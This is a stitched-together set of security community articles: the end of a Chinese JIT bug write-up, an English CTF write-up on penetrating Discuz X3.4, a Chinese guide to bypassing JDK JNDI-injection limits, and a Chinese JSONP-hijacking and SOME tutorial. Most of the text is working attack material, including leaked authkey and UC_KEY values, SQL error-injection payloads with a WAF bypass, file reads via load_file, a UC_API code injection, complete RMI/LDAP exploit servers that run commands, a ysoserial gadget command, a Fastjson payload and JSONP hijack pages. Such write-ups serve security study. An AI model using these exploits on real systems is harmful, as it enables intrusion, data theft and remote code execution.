Math.abs`不是`integer`或`double`，则`clobberize`会将操作标记为有效。`NewTypedArray`假设`DFGClobberize`没有将该操作标记为有效，而是由抽象解释器将其标记为有效。由于操作没有正确建模，我们可以让JIT引擎混淆数组的类型，这样它就可以让我们将指针指的那个值读为浮点数，或者写入可以解释为指针值的浮点数。最后，如果精心设计的假的对象破坏了JIT引擎设置的假设，这种类型的混淆可能导致代码执行。
细心的读者会注意到我没有为此漏洞提供任何CVE或ZDI标识符，这是由于我在本文开头简要提到的冲突。在我发现这个错误的六天后，`git commit
36dd2d2b40c5640412f39efcb6fd081a56016a5d`被引入以试图发现`clobberize`和抽象解释器之间不一致的地方。作为被提交的一部分，以下内容添加到`DFGClobberize.h`：
奇怪的是，在提交两天后，我们发现已经有研究人员发现并提交了相同的漏洞。
撞洞是普遍存在的现象，特别是当许多人都在寻找类似的领域时。随着`Pwn2Own Tokyo`即将到来，希望每个参与者都可以成功应对比赛之前发布的补丁。
你可以在Twitter上找到我@WanderingGlitch，并跟随团队获取最新的漏洞利用技术和安全补丁。 | 社区文章 |
**Author：LoRexxar@Knownsec 404 Team
Time: May 11, 2020
Chinese version: <https://paper.seebug.org/1197/>**
I took a look at the third Web Open of the null pointer this weekend, and
after a little research, I found that this is the latest version of the DZ3.4
environment with almost default configuration. We need to pwn it in such a DZ
under almost real environment. This moment raised my interest, and then we
will sort out the penetration process together.
The difference from the default environment is that we have two additional
conditions. 1\. The backend of the web environment is Windows; 2\. We get a
config file which contains an insecure configuration(and authkey)
After getting these two conditions, we started the penetration.
The following may be mentioned repeatedly DZ vulnerability written by the
author.
* [这是一篇“不一样”的真实渗透测试案例分析文章](https://paper.seebug.org/1144/)
# What is the use of authkey
/ ------------------------- CONFIG SECURITY -------------------------- //
$_config['security']['authkey'] = '87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E';
authkey is the most important master key in the DZ security system. In the DZ
Website, the key related is basically constructed with the authkey and saltkey
which encrypt in the cookie.
After we have this authkey, we can calculate the formhash related to various
operations of the DZ (all POST-related operations of DZ need to calculate the
formhash)
With authkey, we can cooperate with the function in `source / include / misc /
misc_emailcheck.php` to modify the email for any user, but the administrator
cannot use the API to change the password.
You can use the following script to calculate the formhash
$username = "ddog";
$uid = 51;
$saltkey = "SuPq5mmP";
$config_authkey = "87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E";
$authkey = md5($config_authkey.$saltkey);
$formhash = substr(md5(substr($t, 0, -7).$username.$uid.$authkey."".""), 8, 8);
When we found that authkey alone could not penetrate further, we turned our
goal back to hint.
1. The backend of the web environment is Windows
2. **dz has normal backup data, and there is an important key value in the backup data**
# Windows short file name security issue
In August 2019, dz had such a problem.
* [windows短文件名安全问题 数据库备份爆破](https://gitee.com/ComsenzDiscuz/DiscuzX/issues/I10NG9)
In the windows environment, there are many special methods for displaying file
names related to wildcard types, among which are not only `<>"`This type of
symbol can be used as a wildcard, and there is an ellipsis similar to`~`. This
problem is because the server, so cms cannot be repaired, so this has become a
long-term problem .
For specific details, please refer to the following article:
* [Windows下的"你画我猜" -- 告别效率低下的目录扫描方法](https://18.163.237.232xz.aliyun.com/t/2318#toc-6)
With these two articles, we can directly read the backup file of the database.
This backup file exists in
/data/backup_xxxxxx/200509_xxxxxx-1.sql
We can use
http://xxxxx/data/backup~1/200507~2.sql
From the database file, we can find `UC_KEY (dz)` Find `UC_KEY (dz)` in the
authkey field of `pre_ucenter_applications`
So far we have got two pieces of information:
uckey
x9L1efE1ff17a4O7i158xcSbUfo1U2V7Lebef3g974YdG4w0E2LfI4s5R1p2t4m5
authkey
87042ce12d71b427eec3db2262db3765fQvehoxXi4yfNnjK5E
When we have these two keys, we can directly call any api in uc.php. The
further use of the latter is also based on this.
# Uc.php api use
Here we focus on the `/api/uc.php`.
Calculate the code through `UC_KEY`, and then calculate the formhash
through`authkey`, we can call any function under the api, and there are
several more important operations under this api.
Let's focus on `updateapps` first. The special feature of this function is
that DZ directly replaces`UC_API` with `preg_replace`, which can lead to
getshell in the background.
Specific detailed analysis can be seen, this vulnerability originally came
from @dawu, I mentioned this background getshell in my CSS speech:
* <https://paper.seebug.org/1144/#getwebshell>
* <https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2>
According to the operation here, we can construct `$ code = 'time ='. Time ().
'& Action = updateapps';`
To trigger updateapps, you can modify the `UC_API` in the configuration, but
in a previous version update, conditions were added here.
if($post['UC_API']) {
$UC_API = str_replace(array('\'', '"', '\\', "\0", "\n", "\r"), '', $post['UC_API']);
unset($post['UC_API']);
}
Due to the filtering of single quotes, the uc api we injected cannot close the
quotes, so we can’t complete the getshell with the api alone.
In other words, we must login to the background and use the background
modification function to cooperate with getshell. So far, our goal of
penetration has changed to how to login into the background.
# How to login into the DZ background
First of all, we must understand that DZ's front-end and back-end account
systems are separate. There are many functions including uc api, can only
login to the front-end account.
In other words, the only way to enter the background of DZ is to know the
background password of DZ, and this password cannot be changed by forget the
password at the front desk, so we need to find a way to change the password.
There are two main methods here, which also correspond to two attack ideas:
1\. Attack chain with error SQL injection 2\. Use the database backup to
restore and change the password
## 1\. Attack chain with error SQL injection
Continue to study uc.php, I found an injection point in function renameuser.
function renameuser($get, $post) {
global $_G;
if(!API_RENAMEUSER) {
return API_RETURN_FORBIDDEN;
}
$tables = array(
'common_block' => array('id' => 'uid', 'name' => 'username'),
'common_invite' => array('id' => 'fuid', 'name' => 'fusername'),
'common_member_verify_info' => array('id' => 'uid', 'name' => 'username'),
'common_mytask' => array('id' => 'uid', 'name' => 'username'),
'common_report' => array('id' => 'uid', 'name' => 'username'),
'forum_thread' => array('id' => 'authorid', 'name' => 'author'),
'forum_activityapply' => array('id' => 'uid', 'name' => 'username'),
'forum_groupuser' => array('id' => 'uid', 'name' => 'username'),
'forum_pollvoter' => array('id' => 'uid', 'name' => 'username'),
'forum_post' => array('id' => 'authorid', 'name' => 'author'),
'forum_postcomment' => array('id' => 'authorid', 'name' => 'author'),
'forum_ratelog' => array('id' => 'uid', 'name' => 'username'),
'home_album' => array('id' => 'uid', 'name' => 'username'),
'home_blog' => array('id' => 'uid', 'name' => 'username'),
'home_clickuser' => array('id' => 'uid', 'name' => 'username'),
'home_docomment' => array('id' => 'uid', 'name' => 'username'),
'home_doing' => array('id' => 'uid', 'name' => 'username'),
'home_feed' => array('id' => 'uid', 'name' => 'username'),
'home_feed_app' => array('id' => 'uid', 'name' => 'username'),
'home_friend' => array('id' => 'fuid', 'name' => 'fusername'),
'home_friend_request' => array('id' => 'fuid', 'name' => 'fusername'),
'home_notification' => array('id' => 'authorid', 'name' => 'author'),
'home_pic' => array('id' => 'uid', 'name' => 'username'),
'home_poke' => array('id' => 'fromuid', 'name' => 'fromusername'),
'home_share' => array('id' => 'uid', 'name' => 'username'),
'home_show' => array('id' => 'uid', 'name' => 'username'),
'home_specialuser' => array('id' => 'uid', 'name' => 'username'),
'home_visitor' => array('id' => 'vuid', 'name' => 'vusername'),
'portal_article_title' => array('id' => 'uid', 'name' => 'username'),
'portal_comment' => array('id' => 'uid', 'name' => 'username'),
'portal_topic' => array('id' => 'uid', 'name' => 'username'),
'portal_topic_pic' => array('id' => 'uid', 'name' => 'username'),
);
if(!C::t('common_member')->update($get['uid'], array('username' => $get[newusername])) && isset($_G['setting']['membersplit'])){
C::t('common_member_archive')->update($get['uid'], array('username' => $get[newusername]));
}
loadcache("posttableids");
if($_G['cache']['posttableids']) {
foreach($_G['cache']['posttableids'] AS $tableid) {
$tables[getposttable($tableid)] = array('id' => 'authorid', 'name' => 'author');
}
}
foreach($tables as $table => $conf) {
DB::query("UPDATE ".DB::table($table)." SET `$conf[name]`='$get[newusername]' WHERE `$conf[id]`='$get[uid]'");
}
return API_RETURN_SUCCEED;
}
At the bottom of the function, `$get[newusername]` is directly spliced into
the update statement.
But unfortunately, the linked database uses mysqli by default, and does not
support stack injection, so we can't directly execute the update statement
here to update the password. Here we can only construct an error injection to
obtain data.
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ substr(password,0) from pre_ucenter_members where uid = 1 limit 1)),0)),title=\'a';
It is worth noting here that the injection waf that comes with DZ is quite
strict, the core logic is in.
\source\class\discuz\discuz_database.php line 375
if (strpos($sql, '/') === false && strpos($sql, '#') === false && strpos($sql, '-- ') === false && strpos($sql, '@') === false && strpos($sql, '`') === false && strpos($sql, '"') === false) {
$clean = preg_replace("/'(.+?)'/s", '', $sql);
} else {
$len = strlen($sql);
$mark = $clean = '';
for ($i = 0; $i < $len; $i++) {
$str = $sql[$i];
switch ($str) {
case '`':
if(!$mark) {
$mark = '`';
$clean .= $str;
} elseif ($mark == '`') {
$mark = '';
}
break;
case '\'':
if (!$mark) {
$mark = '\'';
$clean .= $str;
} elseif ($mark == '\'') {
$mark = '';
}
break;
case '/':
if (empty($mark) && $sql[$i + 1] == '*') {
$mark = '/*';
$clean .= $mark;
$i++;
} elseif ($mark == '/*' && $sql[$i - 1] == '*') {
$mark = '';
$clean .= '*';
}
break;
case '#':
if (empty($mark)) {
$mark = $str;
$clean .= $str;
}
break;
case "\n":
if ($mark == '#' || $mark == '--') {
$mark = '';
}
break;
case '-':
if (empty($mark) && substr($sql, $i, 3) == '-- ') {
$mark = '-- ';
$clean .= $mark;
}
break;
default:
break;
}
$clean .= $mark ? '' : $str;
}
}
if(strpos($clean, '@') !== false) {
return '-3';
}
$clean = preg_replace("/[^a-z0-9_\-\(\)#\*\/\"]+/is", "", strtolower($clean));
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
if (is_array(self::$config['dfunction'])) {
foreach (self::$config['dfunction'] as $fun) {
if (strpos($clean, $fun . '(') !== false)
return '-1';
}
}
if (is_array(self::$config['daction'])) {
foreach (self::$config['daction'] as $action) {
if (strpos($clean, $action) !== false)
return '-3';
}
}
if (self::$config['dlikehex'] && strpos($clean, 'like0x')) {
return '-2';
}
if (is_array(self::$config['dnote'])) {
foreach (self::$config['dnote'] as $note) {
if (strpos($clean, $note) !== false)
return '-4';
}
}
and the configure in:
$_config['security']['querysafe']['dfunction']['0'] = 'load_file';
$_config['security']['querysafe']['dfunction']['1'] = 'hex';
$_config['security']['querysafe']['dfunction']['2'] = 'substring';
$_config['security']['querysafe']['dfunction']['3'] = 'if';
$_config['security']['querysafe']['dfunction']['4'] = 'ord';
$_config['security']['querysafe']['dfunction']['5'] = 'char';
$_config['security']['querysafe']['daction']['0'] = '@';
$_config['security']['querysafe']['daction']['1'] = 'intooutfile';
$_config['security']['querysafe']['daction']['2'] = 'intodumpfile';
$_config['security']['querysafe']['daction']['3'] = 'unionselect';
$_config['security']['querysafe']['daction']['4'] = '(select';
$_config['security']['querysafe']['daction']['5'] = 'unionall';
$_config['security']['querysafe']['daction']['6'] = 'uniondistinct';
$_config['security']['querysafe']['dnote']['0'] = '/*';
$_config['security']['querysafe']['dnote']['1'] = '*/';
$_config['security']['querysafe']['dnote']['2'] = '#';
$_config['security']['querysafe']['dnote']['3'] = '--';
$_config['security']['querysafe']['dnote']['4'] = '"';
It open the `afullnote` in this challenge.
if (self::$config['afullnote']) {
$clean = str_replace('/**/', '', $clean);
}
Since `/**/` is replaced with empty, we can directly add select to the middle,
and then replaced with empty, we can bypass the waf here.
When we got an error injection, we tried to read the file content and found
that because mysql is `5.5.29`, we can directly read any file on the server.
$code = 'time='.time().'&action=renameuser&uid=1&newusername=ddog\',name=(\'a\' or updatexml(1,concat(0x7e,(/*!00000select*/ /*!00000load_file*/(\'c:/windows/win.ini\') limit 1)),0)),title=\'a';
When the idea came here, there was a fault, because we couldn't know where the
web path was, so we couldn't read the web file directly. Here I was deadlocked
for a long time, and finally the password was weak after the first person made
the question. I went straight into the background.
In the process of backtracking, I found that there is still a way. Although
the path of the web is very flexible for windows, in fact, for integrated
environments, it is generally installed under the c drive, and most people
will not move. The server path. Common windows integrated environment mainly
includes phpstudy and wamp, these two paths are respectively
- /wamp64/www/
- /phpstudy_pro/WWW/
After finding the corresponding path, we can read
`\uc_server\data\config.inc.php` to get`UC_KEY` of uc server.
After that we can directly call the one defined in `/uc_server/api/dpbak.php`
function sid_encode($username) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$check = substr(md5($ip.$agent), 0, 8);
return rawurlencode($this->authcode("$username\t$check", 'ENCODE', $authkey, 1800));
}
function sid_decode($sid) {
$ip = $this->onlineip;
$agent = $_SERVER['HTTP_USER_AGENT'];
$authkey = md5($ip.$agent.UC_KEY);
$s = $this->authcode(rawurldecode($sid), 'DECODE', $authkey, 1800);
if(empty($s)) {
return FALSE;
}
@list($username, $check) = explode("\t", $s);
if($check == substr(md5($ip.$agent), 0, 8)) {
return $username;
} else {
return FALSE;
}
}
Construct the administrator's sid to bypass the authorization verification, in
this way we can modify the password and login to the background.
## 2\. Use the database backup to restore and change the password
In fact, when the last attack method followed the UC server's `UC_KEY`, it is
not difficult to find that there are many operations about database backup and
recovery in`/uc_server/api/dbbak.php`, which is also my previous Not found.
In fact, there is exactly the same code and function in `/api/dbbak.php`, and
that api only needs DZ ’s`UC_KEY` to operate, we can find a place to upload at
the front desk, and then call backup to restore and overwrite the database ,
So that the administrator's password can be changed.
# Getshell in backend
After logging in, it is relatively simple, first
modify the uc api to
http://127.0.0.1/uc_server');phpinfo();//
then, use api to update uc api
Here return 11 means success
# Finally
The whole question mainly surrounds the core key security system of DZ. In
fact, except for the Windows environment, there are almost no other special
conditions. In addition, the short file name problem is mainly on the server
side. We can easily find the backup file. After finding the backup file, we
can obtain the most important authkey and uc key directly from the database,
and the subsequent infiltration process is logical.
From this article, you can also get a glimpse of the ways in which you can use
it in different situations, and you can get more ideas with the original text.
# REF
* <https://paper.seebug.org/1144/>
* <https://lorexxar.cn/2020/01/14/css-mysql-chain/#%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB-with-%E9%85%8D%E7%BD%AE%E6%96%87%E4%BB%B6%E6%B3%84%E9%9C%B2>
* <https://lorexxar.cn/2017/08/31/dz-authkey/>
* * * | 社区文章 |
**作者：KINGX
公众号：<https://mp.weixin.qq.com/s/Dq1CPbUDLKH2IN0NA_nBDA>**
## 写在前面
Java
JNDI注入有很多种不同的利用载荷，而这些Payload分别会面临一些限制。笔者在实际测试过程中也遇到过很多有限制的情况，这里做个梳理并分享下如何绕过这些限制。关于JNDI注入和RMI的基础知识，可以在我之前的文章《深入理解JNDI注入与Java反序列化漏洞利用》中获取。我们先看看JDK对各种Payload有什么限制：
### 1\. RMI Remote Object Payload（限制较多，不常使用）
攻击者实现一个RMI恶意远程对象并绑定到RMI
Registry上，编译后的RMI远程对象类可以放在HTTP/FTP/SMB等服务器上，这个Codebase地址由远程服务器的
java.rmi.server.codebase 属性设置，供受害者的RMI客户端远程加载，RMI客户端在 lookup()
的过程中，会先尝试在本地CLASSPATH中去获取对应的Stub类的定义，并从本地加载，然而如果在本地无法找到，RMI客户端则会向远程Codebase去获取攻击者指定的恶意对象，这种方式将会受到
useCodebaseOnly 的限制。利用条件如下：
1. RMI客户端的上下文环境允许访问远程Codebase。
2. 属性 java.rmi.server.useCodebaseOnly 的值必需为false。
然而从JDK 6u45、7u21开始，java.rmi.server.useCodebaseOnly
的默认值就是true。当该值为true时，将禁用自动加载远程类文件，仅从CLASSPATH和当前VM的java.rmi.server.codebase
指定路径加载类文件。使用这个属性来防止客户端VM从其他Codebase地址上动态加载类，增加了RMI ClassLoader的安全性。
Changelog:
* JDK 6u45 <https://docs.oracle.com/javase/7/docs/technotes/guides/rmi/relnotes.html>
* JDK 7u21 <http://www.oracle.com/technetwork/java/javase/7u21-relnotes-1932873.html>
### 2\. RMI + JNDI Reference Payload
攻击者通过RMI服务返回一个JNDI Naming
Reference，受害者解码Reference时会去我们指定的Codebase远程地址加载Factory类，但是原理上并非使用RMI Class
Loading机制的，因此不受 java.rmi.server.useCodebaseOnly 系统属性的限制，相对来说更加通用。
但是在JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI
Reference远程加载Object Factory类的特性。系统属性
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase
的默认值变为false，即默认不允许从远程的Codebase加载Reference工厂类。如果需要开启 RMI Registry 或者 COS Naming
Service Provider的远程类加载功能，需要将前面说的两个属性值设置为true。
Changelog:
* JDK 6u141 <http://www.oracle.com/technetwork/java/javase/overview-156328.html#R160_141>
* JDK 7u131 <http://www.oracle.com/technetwork/java/javase/7u131-relnotes-3338543.html>
* JDK 8u121 <http://www.oracle.com/technetwork/java/javase/8u121-relnotes-3315208.html>
### 3\. LDAP + JNDI Reference Payload
除了RMI服务之外，JNDI还可以对接LDAP服务，LDAP也能返回JNDI Reference对象，利用过程与上面RMI
Reference基本一致，只是lookup()中的URL为一个LDAP地址：ldap://xxx/xxx，由攻击者控制的LDAP服务端返回一个恶意的JNDI
Reference对象。并且LDAP服务的Reference远程加载Factory类不受上一点中
com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制，所以适用范围更广。
不过在2018年10月，Java最终也修复了这个利用点，对LDAP Reference远程工厂类的加载增加了限制，在Oracle JDK
11.0.1、8u191、7u201、6u211之后 com.sun.jndi.ldap.object.trustURLCodebase
属性的默认值被调整为false，还对应的分配了一个漏洞编号CVE-2018-3149。
### 4\. 绕过JDK 8u191+等高版本限制
所以对于Oracle JDK
11.0.1、8u191、7u201、6u211或者更高版本的JDK来说，默认环境下之前这些利用方式都已经失效。然而，我们依然可以进行绕过并完成利用。两种绕过方法如下：
1. 找到一个受害者本地CLASSPATH中的类作为恶意的Reference Factory工厂类，并利用这个本地的Factory类执行命令。
2. 利用LDAP直接返回一个恶意的序列化对象，JNDI注入依然会对该对象进行反序列化操作，利用反序列化Gadget完成命令执行。
这两种方式都非常依赖受害者本地CLASSPATH中环境，需要利用受害者本地的Gadget进行攻击。
## 绕过限制：利用本地Class作为Reference Factory
在高版本中（如：JDK8u191以上版本）虽然不能从远程加载恶意的Factory，但是我们依然可以在返回的Reference中指定Factory
Class，这个工厂类必须在受害目标本地的CLASSPATH中。工厂类必须实现 javax.naming.spi.ObjectFactory
接口，并且至少存在一个 getObjectInstance() 方法。org.apache.naming.factory.BeanFactory
刚好满足条件并且存在被利用的可能。org.apache.naming.factory.BeanFactory
存在于Tomcat依赖包中，所以使用也是非常广泛。
org.apache.naming.factory.BeanFactory 在 getObjectInstance()
中会通过反射的方式实例化Reference所指向的任意Bean Class，并且会调用setter方法为所有的属性赋值。而该Bean
Class的类名、属性、属性值，全都来自于Reference对象，均是攻击者可控的。
> Tips: 根据beanFactory的代码逻辑，要求传入的Reference为ResourceRef类
这个情况下，目标Bean
Class必须有一个无参构造方法，有public的setter方法且参数为一个String类型。事实上，这些setter不一定需要是set..开头的方法，根据org.apache.naming.factory.BeanFactory中的逻辑，我们可以把某个方法强制指定为setter。
这里，我们找到了`javax.el.ELProcessor`可以作为目标Class。启动RMI Server的利用代码如下：
Registry registry = LocateRegistry.createRegistry(rmi_port);
// 实例化Reference，指定目标类为javax.el.ELProcessor，工厂类为org.apache.naming.factory.BeanFactory
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
// 强制将 'x' 属性的setter 从 'setX' 变为 'eval', 详细逻辑见 BeanFactory.getObjectInstance 代码
ref.add(new StringRefAddr("forceString", "KINGX=eval"));
// 利用表达式执行命令
ref.add(new StringRefAddr("KINGX", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("Exploit", referenceWrapper);
"forceString"可以给属性强制指定一个setter方法，这里我们将属性"KINGX"的setter方法设置为 ELProcessor.eval()
方法。
于是我们 ResourceRef 中加上元素"KINGX"，赋值为需要执行的恶意代码。最后调用setter就变成了执行如下代码：
ELProcessor.eval(\"\".getClass().forName("javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','/Applications/Calculator.app/Contents/MacOS/Calculator']).start()\"))
ELProcessor.eval()会对EL表达式进行求值，最终达到命令执行的效果。
这种绕过方式需要目标环境中存在Tomcat相关依赖，当然其他Java Server可能也存在可被利用的Factory类，可以进一步研究。
## 绕过限制：利用LDAP返回序列化数据，触发本地Gadget
目录是一种分布式数据库，目录服务是由目录数据库和一套访问协议组成的系统。LDAP全称是轻量级目录访问协议（The Lightweight Directory
Access
Protocol），它提供了一种查询、浏览、搜索和修改互联网目录数据的机制，运行在TCP/IP协议栈之上，基于C/S架构。除了RMI服务之外，JNDI也可以与LDAP目录服务进行交互，Java对象在LDAP目录中也有多种存储形式：
* Java序列化
* JNDI Reference
* Marshalled对象
* Remote Location (已弃用)
LDAP可以为存储的Java对象指定多种属性：
* javaCodeBase
* objectClass
* javaFactory
* javaSerializedData
* ...
这里 javaCodebase 属性可以指定远程的URL，这样黑客可以控制反序列化中的class，通过JNDI
Reference的方式进行利用（这里不再赘述，示例代码可以参考文末的Demo链接）。不过像前文所说的，高版本JVM对Reference
Factory远程加载类进行了安全限制，JVM不会信任LDAP对象反序列化过程中加载的远程类。此时，攻击者仍然可以利用受害者本地CLASSPATH中存在漏洞的反序列化Gadget达到绕过限制执行命令的目的。
简而言之，LDAP Server除了使用JNDI Reference进行利用之外，还支持直接返回一个对象的序列化数据。如果Java对象的
javaSerializedData 属性值不为空，则客户端的 obj.decodeObject()
方法就会对这个字段的内容进行反序列化。其中具体的处理代码如下：
if ((attr = attrs.get(JAVA_ATTRIBUTES[SERIALIZED_DATA])) != null) {
ClassLoader cl = helper.getURLClassLoader(codebases);
return deserializeObject((byte[])attr.get(), cl);
}
我们假设目标系统中存在着有漏洞的CommonsCollections库，使用ysoserial生成一个CommonsCollections的利用Payload：
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
LDAP Server关键代码如下，我们在javaSerializedData字段内填入刚刚生成的反序列化payload数据：
...
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "foo");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
/** Payload1: Return Evil Reference Factory **/
// e.addAttribute("javaCodeBase", cbstring);
// e.addAttribute("objectClass", "javaNamingReference");
// e.addAttribute("javaFactory", this.codebase.getRef());
/** Payload2: Return Evil Serialized Gadget **/
try {
// java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections6 '/Applications/Calculator.app/Contents/MacOS/Calculator'|base64
e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyABFqYXZhLn....."));
} catch (ParseException e1) {
e1.printStackTrace();
}
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}
...
模拟受害者进行JNDI lookup操作，或者使用Fastjson等漏洞模拟触发，即可看到弹计算器的命令被执行。
Hashtable env = new Hashtable();
Context ctx = new InitialContext(env);
Object local_obj = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
String payload ="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1389/Exploit\",\"autoCommit\":\"true\" }";
JSON.parse(payload);
这种绕过方式需要利用一个本地的反序列化利用链（如CommonsCollections），然后可以结合Fastjson等漏洞入口点和JdbcRowSetImpl进行组合利用。
## End
本文内的相关测试代码见Github <https://github.com/kxcode/JNDI-Exploit-Bypass-Demo>
## Reference
* <https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf>
* <https://www.veracode.com/blog/research/exploiting-jndi-injections-java>
* * * | 社区文章 |
谈起jsonp 就不得不提同源策略
## 同源策略
主机 端口 域名 必须都一样
也就是说 www.p1k.com 和他同源的只有www.p1k.com
## json与jsonp
### 区别
**json** 是一种基于文本的轻量级的数据交换格式
**jsonp** 是一种协议
，准确的说，他是json的一种使用模式，因为浏览器有同源策略的限制，像test1.sec.com和test2.sec.com是无法之间通信的，但是
调用js文件，却不受同源的影响，并且src属性引入的文件都不受同源的限制，这也是同源策略留下的一个后门，为了方便
所以要想把远程数据加载到web页面中，就得把复杂数据转换为js文件，注意json数据是被js原生支持的，
这样就可以把复杂数据转换成轻巧的json数据
看一下具体实现
### 写入js文件调用
1.html写入
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
function test(data){
alert("name:"+data.name+"city:"+data.city);
}
</script>
<script src="http://www.p1k.com/data.js"></script>
</body>
</html>
data.js写入
test({
"name": "p1k",
"city": "china"
});
访问一下可以看到，跨域访问成功，弹窗
但是这样问题又来了，这里是直接去访问的data.js文件，并且data.js文件中只有一个函数，客户端界面也只有一个函数，如果data.js中有多个函数，前端页面中也有多个函数呢？这样服务器怎样知道客户端调用的是那个函数，该返回怎样的数据。
### jsonp动态调用
通过在客户端添加一个callback回调函数
测试
<html>
<head>
<title>Test</title>
</head>
<body>
<script>
function test1(data){
alert("name:"+data.name+"city:"+data.city);
}
function test2(data){
alert("name:"+data.name);
}
</script>
<script src="http://www.p1k.com/data.php?callback=test2&name=p1k"></script>
<!--<script src="http://www.p1k.com/data.php?callback=test1&name=p1k"></script>-->
</body>
</html>
data.php
<?php
$data1=array("name"=>"p1k","city"=>"China");
$data2=array("name"=>"tusiji","city"=>"Russia");
if ($_GET['name']==='p1k') {
$data=$data1;
}
if ($_GET['name']==='tusiji') {
$data=$data2;
}
$callback = $_GET['callback'];
exit($callback."(".json_encode($data).")");
?>
这两段代码，前后端都是多条数据
如果callback==test2的话，弹窗只显示name 等于test1的话，会把name city都弹出来
### jQuery
深入一下 看一下jquery调用jsonp的方式
<!DOCTYPE html >
<html>
<head>
<title>Test</title>
</head>
<body>
<script type="text/javascript" src="jquery-3.3.1.min.js">
</script>
<script type="text/javascript">
$(document).ready(function(){
$.ajax({
type: "get",
url: "http://www.p1k.com/data.php?name=p1k",
dataType: "jsonp",
jsonp: "callback",//传递给请求处理程序或页面的，用以获得jsonp回调函数名的参数名(一般默认为:callback)
jsonpCallback:"test1",//自定义的jsonp回调函数名称，默认为jQuery自动生成的随机函数名，也可以写"?"，jQuery会自动为你处理数据
success: function(data){
alert("name:"+data.name+"city:"+data.city);
},
error: function(){
alert('fail');
}
});
});
</script>
</body>
</html>
jQuery会自动的去调用，callback函数
### 联系
看到这里应该就知道了json和jsonp的联系了
jsonp只是跨域传送json的一种方式，一种更方便的方式
了解完json和jsonp 在来看看他们的安全问题
## json jsonp安全问题
### jsonp劫持
本质上属于CSRF的一种，只不过jsonp主要用来获取数据，造成该漏洞的原因是，目标站点没有对请求的referer进行检查，导致任何站点都可以去访问json数据，
#### 攻击过程
还是以上面的代码为例
正常情况下data.php中的数据，只有referer是www.p1k.com 才能访问
新建一个站点www.test.com
json.html写入
<html>
<script>
function csrf(data){
alert("name:"+data.name+"city:"+data.city);
}
</script>
<script src="http://www.p1k.com/data.php?callback=csrf&name=tusiji">
</script>
</html>
本地模拟受害者 访问一下 www.test.com/json.html 弹窗
看一下referer
Referer http://www.test.com/json.html
data.php没有对请求的referer进行限制，导致数据泄露
#### 修复
**no.1** 限制referer
if ($_SERVER['HTTP_REFERER']!=='http://www.p1k.com/1.html') {
exit("非法访问");
}
**no.2** 使用token
随机的生成一段token值，每次提交表单都要检查，攻击者没有token就不能访问
##### 绕过
针对上面两种修复方式 也都有对应的绕过方式
##### data URI 绕过 referer
data URI不会发送referer头 data还可以使用base64编码
##### https转到http referer
https转到http会返回一个空的referer (为了防止数据泄露)
##### 绕过token
具体案例
<http://www.91ri.org/13407.html>
### some攻击
some攻击 也叫同源方法执行，可以自动关注微博，自动授权等等
**理论上任何具备点击功能的网站都存在被攻击的可能**
比如说某个网站存在一个xss点，我们想要获取的数据在父窗口，但是窗口不是通过window.open打开的，无法用window.opener操作父窗口，这时候就可以用some来获去我们想要的数据
#### 限制条件
**no.1** 同源策略 这里和上面的jsonp劫持不太一样，jsonp劫持直接使用了src属性，所以可以突破同源策略的限制
**no.2** callback参数可控，因为要通过callback去调用敏感操作，所以callback参数要可控
这里引用LoRexxar师傅的例子 为了模拟攻击过程，我把some1.html some2.html放在www.test.com上
jsonp.php secret.html放在www.p1k.com上
#### 攻击过程
some1.html
<script>
function start_some() {
window.open("some2.html");
location.replace("http://www.p1k.com/secret.html");
}
setTimeout(start_some(), 1000);
</script>
some2.html
<script>
function attack() {
location.replace("http://www.p1k.com/jsonp.php?callback=window.opener.document.body.firstElementChild.firstElementChild.click");
}
setTimeout(attack, 2000);
</script>
jsonp.php
<?php
$callback = empty($_GET["callback"]) ? "jsCallback" : $_GET["callback"];
echo "<script>";
echo $callback . "()";
echo "</script>";
secret.html
<html>
<form>
<button onclick="c()">Secret Button</button>
</form>
<script>
function c() {
alert("LoRexxar click!");
}
</script>
</html>
